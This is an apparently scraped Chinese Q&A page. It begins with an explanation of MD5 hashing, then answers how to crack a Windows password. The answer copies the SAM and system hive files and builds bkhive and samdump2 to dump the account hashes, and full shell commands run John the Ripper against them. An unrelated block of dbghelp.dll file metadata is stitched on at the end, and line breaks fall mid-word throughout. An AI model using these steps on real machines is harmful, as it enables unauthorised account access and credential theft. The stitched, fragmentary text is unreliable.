软件
.
MD5的全称是Message-Digest
Algorithm
5,在90年代初由MIT的计算机科学实验室和RSA
Data
Security
Inc发明,经MD2、MD3和MD4发展而来。
Message-Digest泛指字节串(Message)的Hash变换,就是把一个任意
长度
的字节串变换成一定长的大
整数
。请注意我使用了“字节串”而不是“字符串”这个词,是因为这种变换只与字节的值有关,与
字符集
或
编码方式
无关。
MD5将任意长度的“字节串”变换成一个128bit的大整数,并且它是一个不可逆的字符串变换
算法
,换句话说就是,即使你看到
源程序
和算法描述,也无法将一个MD5的值变换回原始的字符串,从
数学原理
上说,是因为原始的字符串有无穷多个,这有点象不存在
反函数
的
数学函数
。
MD5的典型应用是对一段Message(字节串)产生fingerprint(
指纹
),以防止被“篡改”。举个例子,你将一段话写在一个叫
readme.txt文件中,并对这个readme.txt产生一个MD5的值并记录在案,然后你可以传播这个文件给别人,别人如果修改了文件中的任何内容,你对这个文件重新计算MD5时就会发现(两个MD5值不相同)。如果再有一个
第三方
的
认证机构
,用MD5还可以防止文件作者的“抵赖”,这就是所谓的
数字签名
应用。
MD5还广泛用于加密和解密技术上,在很多
*** 作系统
中,用户的
是以MD5值(或类似的其它算法)的方式保存的,
用户Login的时候,系统是把用户输入的密码计算成MD5值,然后再去和系统中保存的MD5值进行比较,而系统并不“知道”用户的密码是什么。
看你怎么破解了,要是删除密码:有工具——>下载U启工具,里面有清除windows密码,(选中c盘 ——>save clear)要是看密码:
1先从windows 下拷贝两个文件(Windows系统C:\windows\system32\config\中的两个文件:SAM和system)放到linux中(可用软件——>冰刃(icesword) 1.22 简体中文版)
2 到网站下载john-1.7.2.tar.gz、bkhive-1.1.1.tar.gz和samdump2-1.1.1.tar.gz放到liunx桌面上
3要在linux系统下破解:(这个方法等待时间会很长,主要看你的密码复杂难度了)
1.解压缩bkhive-1.1.1.tar.gz[root@localhost ~]#cd Desktop
[root@localhost Desktop]# tar zxvf bkhive-1.1.1.tar.gz
[root@localhost Desktop]# cd bkhive-1.1.1
2.编译bkhive[root@localhost bkhive-1.1.1]# make
用bkhive命令从system文件生成一个system.txt文件:
[root@localhost bkhive-1.1.1]# ./bkhive ../system ../system.txt
3.解压缩samdump2-1.1.1.tar.gz[root@localhost bkhive-1.1.1]#cd ..
[root@localhost Desktop]# tar zxvf samdump2-1.1.1.tar.gz
[root@localhost Desktop]# cd samdump2-1.1.1
4.编译samdump2[root@localhost samdump2-1.1.1]# make
5.提取账号信息用samdump2命令从system.txt文件和sam文件生成一个passwd_hashes.txt文件,passwd_hashes.txt文件的内容是最终要被破解的用户账号信息。
[root@localhost samdump2-1.1.1]# ./samdump2 ../SAM ../system.txt >../passwd_hashes.txt
6.使用john破解Windows用户密码[root@localhost samdump2-1.1.1]# cd ..
[root@localhost Desktop]#tar zxvf john-1.7.2.tar.gz
[root@localhost Desktop]#cd john-1.7.2
[root@localhost john-1.7.2]#cd src
[root@localhost src]#make
[root@localhost src]#make clean generic
[root@localhost src]#make linux-86-any
[root@localhost src]#cd ..
[root@localhost john-1.7.2]#cd run
[root@localhost run]#./john --incremental:Alpha ../../passwd_hashes.txt
若是还是看不懂:推荐看看这个简单的(不过下面的方法,我没有用过)
http://netsecurity.51cto.com/art/200910/159245.htm
分类: 电脑/网络 >> *** 作系统/系统故障解析:
dbghelp.dll (5.1.2600.1106)
包含在软件
名字: Windows XP Home Edition, Deutsch
执照: 商业
信息链接: microsoft/windowsxp/
文件细节
文件道路: C:\WINDOWS\system32\dllcache \ dbghelp.dll
文件日期: 2002-08-29 14:00:00
版本: 5.1.2600.1106
文件大小: 489.984 字节
检查和和文件hashes
CRC32: EE9029FE
MD5: 7FDB 7526 127C 5F1A 5127 68AC F57F E5C2
SHA1: 1B6D 5DAC B16C D112 79FA 39FE 020F CE2C 870C 96C4
版本资源信息
公司名称: Microsoft Corporation
文件描述: Windows Image Helper
文件 *** 作系统: Windows NT, Windows 2000, Windows XP, Windows 2003
文件类型: Dynamic Link Library (DLL)
文件版本: 5.1.2600.1106
内部名: DBGHELP.DLL
法律版权: © Microsoft Corporation. All rights reserved.
原始的文件名: DBGHELP.DLL
产品名称: Microsoft® Windows® Operating System
产品版本: 5.1.2600.1106
什么是dbghelp.dll? dbghelp.dll 错误。 spyware adware virus anti virus
free spyware removal
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)